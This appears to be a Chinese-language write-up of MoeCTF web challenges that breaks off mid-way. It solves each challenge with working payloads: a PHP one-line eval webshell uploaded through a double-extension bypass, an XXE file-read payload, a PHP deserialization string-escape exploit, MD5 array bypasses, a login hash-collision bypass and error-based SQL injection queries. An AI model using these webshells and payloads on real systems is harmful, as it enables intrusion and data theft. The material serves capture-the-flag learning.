签到
hello CTFer
将url地址复制然后打开即可
得到flag
Web
http
听说这个http里还有个什么东西叫饼干,也不知道是不是吃的
踩坑了,这里用连接器。。。
开启题目环境
GET方式请求,然后把各种请求头往里加
GET
?UwU=u
Header:
User-Agent: MoeBrowser
Cookie: character=admin
X-Forwarded-For:127.0.0.1
POST data:
Luv=u
Web入门指北
解码获取flag
群文件的web入门指北
拉到最后得到字符串
666c61673d6257396c5933526d6533637a62454e7662575666564739666257396c5131524758316379596c396a61474673624756755a3055684958303d
十六进制转字符串
得到
flag=bW9lY3Rme3czbENvbWVfVG9fbW9lQ1RGX1cyYl9jaGFsbGVuZ0UhIX0=
flag内容base64解密
moectf{w3lCome_To_moeCTF_W2b_challengE!!}
cookie
“狗子真的吃饼干吗”,“布偶猫一吃就拉”,”那就让《屋里的狗》吃吧(指吃饼干“
下载附件,内容如下
一些api说明
注册
POST /register
{ "username":"koito", "password":"123456" }
登录
POST /login
{ "username":"koito", "password":"123456" }
获取flag
GET /flag
查询服务状态
GET /status
直接看/flag
,不行的嘞
那就POST方式去访问/register
,发送json
包进行注册
然后访问login
可以看到执行一个Set-Cookie
,base64解码一下
登录显示我不是管理员
修改一下token的内容然后base64编码后修改
payload:
eyJ1c2VybmFtZSI6ICJMZWFmIiwgInBhc3N3b3JkIjogIjEyMzQ1NiIsICJyb2xlIjogImFkbWluIn0=
把character
也修改为admin
彼岸的flag
我们在某个平行宇宙中得到了一段moectf群的聊天记录,粗心的出题人在这个聊天平台不小心泄露了自己的flag
Ctrl+U
查看源码得到flag
gas!gas!gas!
Klutton这个假期信心满满地准备把驾照拿下,于是他仔细地学习了好多漂移视频,还准备了这么一个赛博赛车场;诶,不对,开车好像不是用键盘开的?
用脚本打,脚本如下
import requests
url = 'http://localhost:16521/'
res = requests.session() #创建session对象,用来保存当前会话的持续有效性。不创建也可以调用对应的方法发送请求,但是没有cookie,那就无法记录答题数量。
response = res.post(url, data={"driver":"Leafzzz","steering_control":0,"throttle":0}) #发post包,获取题目
for i in range(1, 99):
math = ""
resTest = response.text #获取返回包的内容
if "太大" in resTest:
ym=2
elif "太小" in resTest:
ym =0
else:
ym = 1
if "向左" in resTest:
fx=1
elif "向右" in resTest:
fx =-1
else:
fx =0
myData = { #构造的POST数据
"driver":"Leafzzz",
"steering_control":fx,
"throttle":ym
}
response = res.post(url, data=myData) #发post包,提交答案,并且获取返回包,获取下一个计算式
print(response.text) #打印当前返回包的内容
if "moectf{" in response.text: #如果返回包里面有flag
print("Flaggggggggg!!!: ", response.text)
exit() # 退出当前程序,也可以break
得到flag
大海捞针
该死,之前的平行宇宙由于flag的泄露被一股神秘力量抹去,我们脱离了与那个宇宙的连接了!不过不用担心,看起来出题人傻乎乎的是具有泄露flag的概率的,我们只需要连接多个平行宇宙…(难道flag在多元宇宙里是全局变量吗)
爆破,ip改为127.0.0.1
1-1000爆破
然后开始攻击,爆破出结果,id=530
moe图床
我们准备了一个moe图床用于上传一些图片
提前放一个一句话木马的内容
<?php
phpinfo();
@eval($_REQUEST["cmd"]);
?>
文件上传
先传马php文件
存在前端拦截,将文件格式改为png
然后上传,burp抓包修改为php文件
但是还是上传失败,那就试试.htaccess
文件(也不行)
f12可以看到前端代码
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>moe图床</title>
</head>
<body>
<input type="file" id="fileInput">
<button onclick="uploadFile()">上传</button>
<div id="uploadResult"></div>
<script>
function uploadFile() {
const fileInput = document.getElementById('fileInput');
const file = fileInput.files[0];
if (!file) {
alert('请选择一个文件进行上传!');
return;
}
const allowedExtensions = ['png'];
const fileExtension = file.name.split('.').pop().toLowerCase();
if (!allowedExtensions.includes(fileExtension)) {
alert('只允许上传后缀名为png的文件!');
return;
}
const formData = new FormData();
formData.append('file', file);
fetch('upload.php', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(result => {
if (result.success) {
const uploadResult = document.getElementById('uploadResult');
const para = document.createElement('p');
para.textContent = ('地址:');
const link = document.createElement('a');
link.textContent = result.file_path;
link.href = result.file_path;
link.target = '_blank';
para.append(link);
uploadResult.appendChild(para);
alert('文件上传成功!');
} else {
alert('文件上传失败:' + result.message);
}
})
.catch(error => {
console.error('文件上传失败:', error);
});
}
</script>
</body>
</html>
发现存在upload.php
,访问得到源代码
<?php
$targetDir = 'uploads/';
$allowedExtensions = ['png'];
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$file = $_FILES['file'];
$tmp_path = $_FILES['file']['tmp_name'];
if ($file['type'] !== 'image/png') {
die(json_encode(['success' => false, 'message' => '文件类型不符合要求']));
}
if (filesize($tmp_path) > 512 * 1024) {
die(json_encode(['success' => false, 'message' => '文件太大']));
}
$fileName = $file['name'];
$fileNameParts = explode('.', $fileName);
if (count($fileNameParts) >= 2) {
$secondSegment = $fileNameParts[1];
if ($secondSegment !== 'png') {
die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
}
} else {
die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
}
$uploadFilePath = dirname(__FILE__) . '/' . $targetDir . basename($file['name']);
if (move_uploaded_file($tmp_path, $uploadFilePath)) {
die(json_encode(['success' => true, 'file_path' => $uploadFilePath]));
} else {
die(json_encode(['success' => false, 'message' => '文件上传失败']));
}
}
else{
highlight_file(__FILE__);
}
?>
这段代码是一个简单的PHP脚本,用于处理上传图片文件的功能。下面我会逐步解释代码中的各个部分:
$targetDir = 'uploads/';
:这是指定上传文件保存的目标目录,目录名为 “uploads”。需要确保该目录在脚本的执行位置下存在,并且具有适当的写入权限。$allowedExtensions = ['png'];
:这是一个允许上传的文件扩展名的数组,只允许上传扩展名为 “png” 的图片文件。if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
:这是一个条件判断,检查是否是通过 POST 请求上传文件,并且确保存在名为 “file” 的文件上传字段。$file = $_FILES['file'];
:将上传的文件信息存储在名为 “$file” 的变量中,以便后续使用。$tmp_path = $_FILES['file']['tmp_name'];
:获取上传文件的临时文件路径。if ($file['type'] !== 'image/png') { ... }
:检查上传文件的 MIME 类型是否为 “image/png”,即确保上传的文件是 PNG 图片。if (filesize($tmp_path) > 512 * 1024) { ... }
:检查上传文件的大小是否超过了 512KB(即 512 * 1024 字节)的限制。- 解析文件名:
$fileName = $file['name'];
:获取上传文件的原始文件名。$fileNameParts = explode('.', $fileName);
:将文件名通过点号 “.” 进行分割,得到文件名各个部分的数组。
- 文件名和扩展名校验:
- 如果文件名部分的数组长度大于等于 2,说明文件名中至少包含了一个点号。
$secondSegment = $fileNameParts[1];
:获取文件名的第二个部分,即文件扩展名部分。- 进行判断,如果第二个部分不是 “png”,则拒绝上传。
- 移动上传文件:
- 构造上传文件的目标路径:
$uploadFilePath = dirname(__FILE__) . '/' . $targetDir . basename($file['name']);
。这会将文件保存在指定的目标目录下,并使用原始文件名。move_uploaded_file($tmp_path, $uploadFilePath)
:尝试将临时文件移动到目标路径。如果移动成功,返回 true,否则返回 false。
- 根据移动结果返回响应:
- 如果移动成功,返回 JSON 格式的成功消息,包含上传后的文件路径。
- 如果移动失败,返回 JSON 格式的失败消息。
else
分支:如果不是通过 POST 请求上传文件或者没有名为 “file” 的文件上传字段,就会显示当前 PHP 文件的代码内容。
存在逻辑漏洞
$fileNameParts = explode('.', $fileName);
if (count($fileNameParts) >= 2) {
$secondSegment = $fileNameParts[1];
if ($secondSegment !== 'png') {
die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
}
} else {
die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
}
这里只会将遇到的.
分开,然后判断第二个是不是png
但是apache
解析是按照最后一个文件后缀解析的,只需要传两个个后缀就可以绕过
前端绕过和前面类似,burp抓包然后修改
上传成功,并且得到文件路径/uploads/cmd.png.php
,去访问
成功执行phpinfo();
,然后进行rce
payload:
uploads/cmd.png.php?cmd=system("ls /");
然后cat /f*
得到flag,payload:
uploads/cmd.png.php?cmd=system("cat /f*");
也可以蚁剑连接,这里不赘述了
了解你的座驾
为了极致地漂移,我们准备了一个网站用于查找你喜欢的车车;听说flag也放在里面了,不过不在网站目录放在根目录应该没问题的吧。。。
抓包,发现xml_content
url解码一下,得到
<xml><name>Dodge Viper</name></xml>
F12可以看到前端脚本
function submitForm(name) {
var form = document.createElement("form");
form.method = "post";
form.action = "index.php";
var input = document.createElement("input");
input.type = "hidden";
input.name = "xml_content";
input.value = "<xml><name>" + name + "</name></xml>";
form.appendChild(input);
document.body.appendChild(form);
form.submit();
}
猜测是XXE
关于XXE学习贴个链接:CTF XXE
这里直接贴个payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE any[
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/doLogin.php">
]>
<user><username>&file;</username><password>1</password></user>
修改一下
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE any[
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=///flag">
]>
<xml><name>&file;</name></xml>
然后进行url编码
这里踩坑了,一定要编码,不然没有用
%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%20%65%6e%63%6f%64%69%6e%67%3d%22%55%54%46%2d%38%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%61%6e%79%5b%0a%20%20%3c%21%45%4e%54%49%54%59%20%66%69%6c%65%20%53%59%53%54%45%4d%20%22%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%72%65%61%64%3d%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%65%6e%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%2f%2f%2f%66%6c%61%67%22%3e%0a%5d%3e%0a%3c%78%6d%6c%3e%3c%6e%61%6d%65%3e%26%66%69%6c%65%3b%3c%2f%6e%61%6d%65%3e%3c%2f%78%6d%6c%3e
传参给xml_content
,base64解码得到flag
meo图床
我们准备了一个meo(?)图床用于上传一些图片
也是考察文件上传,先上传PHP文件试试
burp抓包修改文件后缀试试
这里看到php文件是可以上传成功的,去查看一下
可惜这里无法访问我们的.php
文件,只能访问我们上传的.png
文件
但是可以看到file_get_contents
函数,猜测有任意文件读取
构造payload读取flag
?name=../../../../../../flag
跟我们flag不在这里,但是这里有个提示Fl3g_n0t_Here_dont_peek!!!!!.php
,访问一下
踩坑,这里不用name变量,直接访问就行了,我开始还以为这个hint没有用,就一直没找出来
http://localhost:port/Fl3g_n0t_Here_dont_peek!!!!!.php
看到代码
<?php
highlight_file(__FILE__);
if (isset($_GET['param1']) && isset($_GET['param2'])) {
$param1 = $_GET['param1'];
$param2 = $_GET['param2'];
if ($param1 !== $param2) {
$md5Param1 = md5($param1);
$md5Param2 = md5($param2);
if ($md5Param1 == $md5Param2) {
echo "O.O!! " . getenv("FLAG");
} else {
echo "O.o??";
}
} else {
echo "o.O?";
}
} else {
echo "O.o?";
}
?>
md5弱比较,直接数组绕过就可以了
/Fl3g_n0t_Here_dont_peek!!!!!.php?param1[]=1¶m2[]=2
得到flag
夺命十三枪
夺命十三枪!然后是啥来着?
反序列化,开启环境得到源码
<?php
highlight_file(__FILE__);
require_once('Hanxin.exe.php');
$Chant = isset($_GET['chant']) ? $_GET['chant'] : '夺命十三枪';
$new_visitor = new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant);
$before = serialize($new_visitor);
$after = Deadly_Thirteen_Spears::Make_a_Move($before);
echo 'Your Movements: ' . $after . '<br>';
try{
echo unserialize($after);
}catch (Exception $e) {
echo "Even Caused A Glitch...";
}
?>
存在Hanxin.exe.php
,访问文件得到源码
<?php
if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) {
highlight_file(__FILE__);
}
class Deadly_Thirteen_Spears{
private static $Top_Secret_Long_Spear_Techniques_Manual = array(
"di_yi_qiang" => "Lovesickness",
"di_er_qiang" => "Heartbreak",
"di_san_qiang" => "Blind_Dragon",
"di_si_qiang" => "Romantic_charm",
"di_wu_qiang" => "Peerless",
"di_liu_qiang" => "White_Dragon",
"di_qi_qiang" => "Penetrating_Gaze",
"di_ba_qiang" => "Kunpeng",
"di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",
"di_shi_qiang" => "Overlord",
"di_shi_yi_qiang" => "Letting_Go",
"di_shi_er_qiang" => "Decisive_Victory",
"di_shi_san_qiang" => "Unrepentant_Lethality"
);
public static function Make_a_Move($move){
foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){
$move = str_replace($index, $movement, $move);
}
return $move;
}
}
class Omg_It_Is_So_Cool_Bring_Me_My_Flag{
public $Chant = '';
public $Spear_Owner = 'Nobody';
function __construct($chant){
$this->Chant = $chant;
$this->Spear_Owner = 'Nobody';
}
function __toString(){
if($this->Spear_Owner !== 'MaoLei'){
return 'Far away from COOL...';
}
else{
return "Omg You're So COOOOOL!!! " . getenv('FLAG');
}
}
}
?>
先构造pop链,倒着找
在Hanxin.exe.php
文件中的Omg_It_Is_So_Cool_Bring_Me_My_Flag
类中,存在__toString()
魔术方法,里面的语句可以得到flag
__toString(): 当一个对象被当作字符串使用时触发
向上找,发现在index.php
中,echo unserialize($after)
将反序列化后的$after
当做字符串输出
$after
是经过Deadly_Thirteen_Spears
的Make_a_Move()
静态方法重构后的
先解释一下Deadly_Thirteen_Spears
的作用
class Deadly_Thirteen_Spears{
private static $Top_Secret_Long_Spear_Techniques_Manual = array(
"di_yi_qiang" => "Lovesickness",
"di_er_qiang" => "Heartbreak",
"di_san_qiang" => "Blind_Dragon",
"di_si_qiang" => "Romantic_charm",
"di_wu_qiang" => "Peerless",
"di_liu_qiang" => "White_Dragon",
"di_qi_qiang" => "Penetrating_Gaze",
"di_ba_qiang" => "Kunpeng",
"di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",
"di_shi_qiang" => "Overlord",
"di_shi_yi_qiang" => "Letting_Go",
"di_shi_er_qiang" => "Decisive_Victory",
"di_shi_san_qiang" => "Unrepentant_Lethality"
);
public static function Make_a_Move($move){
foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){
$move = str_replace($index, $movement, $move);
}
return $move;
}
}
这段代码定义了一个名为
Deadly_Thirteen_Spears
的类,其中包含一个静态方法Make_a_Move()
,这个方法用于将输入的字符串进行一系列替换操作。下面逐行解释代码的功能和作用:
private static $Top_Secret_Long_Spear_Techniques_Manual = array(...);
: 这是一个私有的静态属性,它是一个关联数组,包含了一组“绝密长枪技巧手册”的内容。每个键值对表示一个技巧,其中键是技巧的标识,值是技巧的名称。public static function Make_a_Move($move) {
: 这是一个公共的静态方法,接受一个字符串参数$move
,表示要处理的移动。这个方法将对输入的字符串进行处理。foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement) {
: 这是一个循环语句,遍历了之前定义的绝密长枪技巧手册数组。对于每一项技巧,循环会将数组中的键(技巧的标识)赋值给变量$index
,将数组中的值(技巧的名称)赋值给变量$movement
。$move = str_replace($index, $movement, $move);
: 在循环内部,这行代码使用str_replace()
函数将字符串$move
中的$index
部分(即技巧的标识)替换为$movement
部分(即技巧的名称)。这样,会对字符串进行一系列的替换操作,将特定的技巧标识替换为对应的技巧名称。return $move;
: 最后,方法返回经过替换处理后的字符串
简单来说就是我们在$before = serialize($new_visitor);
得到的序列化字符串,在传入这个方法后,会检测关键词并进行替换,替换方式如下
"di_yi_qiang" => "Lovesickness",
"di_er_qiang" => "Heartbreak",
"di_san_qiang" => "Blind_Dragon",
"di_si_qiang" => "Romantic_charm",
"di_wu_qiang" => "Peerless",
"di_liu_qiang" => "White_Dragon",
"di_qi_qiang" => "Penetrating_Gaze",
"di_ba_qiang" => "Kunpeng",
"di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",
"di_shi_qiang" => "Overlord",
"di_shi_yi_qiang" => "Letting_Go",
"di_shi_er_qiang" => "Decisive_Victory",
"di_shi_san_qiang" => "Unrepentant_Lethality"
关于字符串增多逃逸可以看一下CTFshow反序列化系列的web262
再往上找$before = serialize($new_visitor)
,会序列化$new_visitor
,再之前我们需要传入chant
参数,然后$new_visitor
会创建一个Omg_It_Is_So_Cool_Bring_Me_My_Flag
对象,并且将Chant
的值等于我们传入的$chant
所以构造pop链
Omg_It_Is_So_Cool_Bring_Me_My_Flag::__toString() <-- echo unserialize($after) <-- Deadly_Thirteen_Spears::Make_a_Move() <-- new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant) <-- $_GET['chant']
如果想成功触发getenv(FLAG)
就需要Omg_It_Is_So_Cool_Bring_Me_My_Flag
中Spear_Owner
的属性的值变为MaoLei
,但是我们无法直接更改Spear_Owner
的值,所以就需要利用字符串逃逸来更改
这里打算利用字符串增多逃逸,所以这里我选的第一枪di_yi_qiang => Lovesickness
先构造好我们想要的exp
<?php
class Omg_It_Is_So_Cool_Bring_Me_My_Flag{
public $Spear_Owner;
function __construct(){
$this->Spear_Owner = 'MaoLei';
}
}
$a=new Omg_It_Is_So_Cool_Bring_Me_My_Flag();
echo serialize($a);
#得到Spear_Owner=MaoLei的序列化结果
?>
运行脚本之后得到
O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":1:{s:11:"Spear_Owner";s:6:"MaoLei";}
这里我们需要的是后半部分,也就是{s:11:"Spear_Owner";s:6:"MaoLei";}
但是需要前面闭合的{
,而且还要加";
来闭合前面的序列化字符串,所以得到字符串
";s:11:"Spear_Owner";s:6:"MaoLei";}
计算一下字符串长度
<?php
echo strlen('";s:11:"Spear_Owner";s:6:"MaoLei";}');
#35
?>
然后按照题目的序列化,让chant
等于我们得到的值然后先运行一遍看看序列化结果
<?php
class Omg_It_Is_So_Cool_Bring_Me_My_Flag{
public $Chant = '1";s:11:"Spear_Owner";s:6:"MaoLei";}';
public $Spear_Owner = 'Nobody';
}
$a=new Omg_It_Is_So_Cool_Bring_Me_My_Flag();
echo serialize($a);
?>
运行得到
O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:36:"1";s:11:"Spear_Owner";s:6:"MaoLei";}";s:11:"Spear_Owner";s:6:"Nobody";}
观察运行结果
这里s表示的值是36,但是遇到了一个字符“1”就闭合了,多出来的35个字符正是我们构造出来的序列化字符串";s:11:"Spear_Owner";s:6:"MaoLei";}
如果直接传入,那么在反序列化的时候就会产生报错,所以我们就要想办法去造出来多出来的这35个字符,题目中给出利用点
就是Make_a_move
方法,这里用第一枪di_yi_qiang => Lovesickness
会在序列化之后生成的字符串中di_yi_qiang
替换为Lovesickness
,每替换一个就会多出来一个字符,所以我们构造payload的时候构造35个di_yi_qiang
就会在替换后多出来35个字母,因为已经序列化完了,所以s:36
并不会改变,从而实现字符串逃逸
先生成35个di_yi_qiang
<?php
$a=1;
for($a=1;$a<=35;$a++){
echo 'di_yi_qiang';
}
最后payload:
?chant=di_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}
传参得到flag
signin
真的是signin(
题目存在附件(刚开始没看见,无语了)
源码如下
from secrets import users, salt
import hashlib
import base64
import json
import http.server
with open("flag.txt","r") as f:
FLAG = f.read().strip()
def gethash(*items):
c = 0
for item in items:
if item is None:
continue
c ^= int.from_bytes(hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest(), "big") # it looks so complex! but is it safe enough?
return hex(c)[2:]
assert "admin" in users
assert users["admin"] == "admin"
hashed_users = dict((k,gethash(k,v)) for k,v in users.items())
eval(int.to_bytes(0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153,160,"big",signed=True).decode().translate({ord(c):None for c in "\x00"})) # what is it?
def decrypt(data:str):
for x in range(5):
data = base64.b64encode(data).decode() # ummm...? It looks like it's just base64 encoding it 5 times? truely?
return data
__page__ = base64.b64encode("PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD......")
class MyHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
try:
if self.path == "/":
self.send_response(200)
self.end_headers()
self.wfile.write(__page__)
else:
self.send_response(404)
self.end_headers()
self.wfile.write(b"404 Not Found")
except Exception as e:
print(e)
self.send_response(500)
self.end_headers()
self.wfile.write(b"500 Internal Server Error")
def do_POST(self):
try:
if self.path == "/login":
body = self.rfile.read(int(self.headers.get("Content-Length")))
payload = json.loads(body)
params = json.loads(decrypt(payload["params"]))
print(params)
if params.get("username") == "admin":
self.send_response(403)
self.end_headers()
self.wfile.write(b"YOU CANNOT LOGIN AS ADMIN!")
print("admin")
return
if params.get("username") == params.get("password"):
self.send_response(403)
self.end_headers()
self.wfile.write(b"YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!")
print("same")
return
hashed = gethash(params.get("username"),params.get("password"))
for k,v in hashed_users.items():
if hashed == v:
data = {
"user":k,
"hash":hashed,
"flag": FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}"
}
self.send_response(200)
self.end_headers()
self.wfile.write(json.dumps(data).encode())
print("success")
return
self.send_response(403)
self.end_headers()
self.wfile.write(b"Invalid username or password")
else:
self.send_response(404)
self.end_headers()
self.wfile.write(b"404 Not Found")
except Exception as e:
print(e)
self.send_response(500)
self.end_headers()
self.wfile.write(b"500 Internal Server Error")
if __name__ == "__main__":
server = http.server.HTTPServer(("", 9999), MyHandler)
server.serve_forever()
中间一大段base64编码的值是前端代码,不用管他
这里进行代码分析一下,一段一段来
先不分析gethash
,这里有解题的关键
eval(int.to_bytes(0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153,160,"big",signed=True).decode().translate({ord(c):None for c in "\x00"})) # what is it?
这里的作用是简单来讲就是将base64encode
的作用变为base64decode
也就是在这段程序中,编码的作用变为解码
接下来decrypt
函数
def decrypt(data:str):
for x in range(5):
data = base64.b64encode(data).decode() # ummm...? It looks like it's just base64 encoding it 5 times? truely?
return data
这个函数的作用是循环进行五次base64encode
也就是base64编码,但是在上面一段的eval()
语句中,将编码的功能变成解码,所以这段函数的作用也就变成了base64decode
也就是这段函数的作用变成了五次base64解码
然后是main
函数
if __name__ == "__main__":
server = http.server.HTTPServer(("", 9999), MyHandler)
server.serve_forever()
这里会接受HTTPServer
也就是HTTP
请求头然后利用MyHandler
进行处理
MyHandler
类
class MyHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
try:
if self.path == "/":
self.send_response(200)
self.end_headers()
self.wfile.write(__page__)
else:
self.send_response(404)
self.end_headers()
self.wfile.write(b"404 Not Found")
except Exception as e:
print(e)
self.send_response(500)
self.end_headers()
self.wfile.write(b"500 Internal Server Error")
def do_POST(self):
try:
if self.path == "/login":
body = self.rfile.read(int(self.headers.get("Content-Length")))
payload = json.loads(body)
params = json.loads(decrypt(payload["params"]))
print(params)
if params.get("username") == "admin":
self.send_response(403)
self.end_headers()
self.wfile.write(b"YOU CANNOT LOGIN AS ADMIN!")
print("admin")
return
if params.get("username") == params.get("password"):
self.send_response(403)
self.end_headers()
self.wfile.write(b"YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!")
print("same")
return
hashed = gethash(params.get("username"),params.get("password"))
for k,v in hashed_users.items():
if hashed == v:
data = {
"user":k,
"hash":hashed,
"flag": FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}"
}
self.send_response(200)
self.end_headers()
self.wfile.write(json.dumps(data).encode())
print("success")
return
self.send_response(403)
self.end_headers()
self.wfile.write(b"Invalid username or password")
else:
self.send_response(404)
self.end_headers()
self.wfile.write(b"404 Not Found")
except Exception as e:
print(e)
self.send_response(500)
self.end_headers()
self.wfile.write(b"500 Internal Server Error")
这里用GET
传参来接受路由,如果是/
就显示前端代码,也就是__page__
,除此之外都返回404 Not Found
Post进行对/login
路由处理,先经过decrypt()
函数对传进来的payload["params"]
进行处理,也就是base64解码五次,然后在进行接受并解析
接下来如果username
是admin
,就回显"YOU CANNOT LOGIN AS ADMIN!"
如果username==password
,也就是username等于password的值就会返回YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!
如果前面的条件都没有符合,那么就会让hasded
的值等于经过gethash
函数处理的username
和password
接下来
for k, v in hashed_users.items():
:这是一个迭代循环,遍历hashed_users
字典的键值对。在每次迭代中,键将被赋值给变量k
,而值将被赋值给变量v
。if hashed == v:
:这是一个条件语句,检查当前循环迭代中的哈希值hashed
是否与字典中的某个值v
相等。- 如果相等,说明找到了匹配的哈希值,这可能代表用户的身份验证成功。
- 如果不相等,代码将继续迭代,检查下一个键值对。
- 如果找到了匹配的哈希值(用户身份验证成功),以下内容将被执行:
data
字典被创建,其中包括以下键值对:"user": k
:将匹配的用户名称赋值给"user"
键。"hash": hashed
:将匹配的哈希值赋值给"hash"
键。"flag": FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}"
:根据用户名称决定是否分配一个特定的标志(flag)。如果用户名称是"admin"
,则使用FLAG
的值作为标志;否则,使用一个特定的提示消息作为标志。
所以我们传入的值就需要让username=admin
,并且username=password
这里hashed_users
字典是gethash
函数生成的
gethash()
函数
def gethash(*items):
c = 0
for item in items:
if item is None:
continue
c ^= int.from_bytes(hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest(), "big") # it looks so complex! but is it safe enough?
return hex(c)[2:]
def gethash(*items):
:定义一个名为gethash
的函数,该函数接受任意数量的参数,这些参数将被用于生成哈希值。c = 0
:初始化变量c
为零,用于存储最终的哈希值。for item in items:
:遍历传入的参数列表。if item is None:
:如果当前参数item
是None
,则跳过当前迭代,继续下一个迭代。这可能是为了处理参数中的空值。c ^= int.from_bytes(hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest(), "big")
:
- 在这行代码中,对每个非空参数执行以下操作:
hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest()
:将给定的item
与一个固定的salt
值组合,然后计算这个组合的 MD5 哈希值,并获得其原始字节表示。int.from_bytes(..., "big")
:将上一步得到的字节表示转换为一个大整数。c ^= ...
:将上述得到的整数与变量c
进行按位异或操作,将结果重新赋值给c
。这可能是为了将多个参数的哈希值合并在一起。
return hex(c)[2:]
:将最终合并的哈希值转换为十六进制字符串,并返回其中去掉开头的 “0x” 后的部分。
我们需要让k
值为admin
,所以这里的需要让admin
经过gethash
函数处理
admin算出来的hash
是0
,然后我就卡题了,去请教了一下出题人
解题思路如下
我们传入的参数,也就是username
和password
在这里都会用format
来进行格式化
而format在处理数字0 和字符0时,统一返回的是字符0,那么我们让username是数字0,password是字符0,就可以让他们的hash
相等
exp如下
随便传个值然后抓包,然后base64
解码5
次
修改username
为0
,password
为"0"
,然后base64编码五次,得到
VjJ4b2MxTXdNVmhVV0d4WFltMTRjRmxzVm1GTlJtUnpWR3R3VDJGNlJrVmFSRXB6WVd4SmQxZHFXbHBsYXpWeVdrY3hUMlJHVmxoaVJrSm9WbGQzZWxVeFl6QmtNVUpTVUZRd1BRPT0=
修改params
的值,然后发包,得到flag
(但是 我总感觉这个是非预期解,因为这就和admin的hash是不是0没有关系了,这里好像只要是数字和字符都可以进行绕过)
出去旅游的心海
Ctrl+U查看源代码,可以看到存在文件
访问一下得到源代码
<?php
/*
Plugin Name: Visitor auto recorder
Description: Automatically record visitor's identification, still in development, do not use in industry environment!
Author: KoKoMi
Still in development! :)
*/
// 不许偷看!这些代码我还在调试呢!
highlight_file(__FILE__);
// 加载数据库配置,暂时用硬编码绝对路径
require_once('/var/www/html/wordpress/' . 'wp-config.php');
$db_user = DB_USER; // 数据库用户名
$db_password = DB_PASSWORD; // 数据库密码
$db_name = DB_NAME; // 数据库名称
$db_host = DB_HOST; // 数据库主机
// 我记得可以用wp提供的global $wpdb来操作数据库,等旅游回来再研究一下
// 这些是临时的代码
$ip = $_POST['ip'];
$user_agent = $_POST['user_agent'];
$time = stripslashes($_POST['time']);
$mysqli = new mysqli($db_host, $db_user, $db_password, $db_name);
// 检查连接是否成功
if ($mysqli->connect_errno) {
echo '数据库连接失败: ' . $mysqli->connect_error;
exit();
}
$query = "INSERT INTO visitor_records (ip, user_agent, time) VALUES ('$ip', '$user_agent', $time)";
// 执行插入
$result = mysqli_query($mysqli, $query);
// 检查插入是否成功
if ($result) {
echo '数据插入成功';
} else {
echo '数据插入失败: ' . mysqli_error($mysqli);
}
// 关闭数据库连接
mysqli_close($mysqli);
//gpt真好用
通过代码审计可以知道开启了报错显示,所以我们可以通过报错注入
来获取信息
我们需要传入ip
,user_agent
和time
参数,这里用time
来当注入点
构造payload:
ip=1&user_agent=1&time=updatexml(1,substring(concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),25,50),3)
得到库名,然后爆表
payload:
ip=1&user_agent=1&time=updatexml(1,substring(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='wordpress' ),0x7e),1,20),3)
得到表名,然后爆字段
payload:
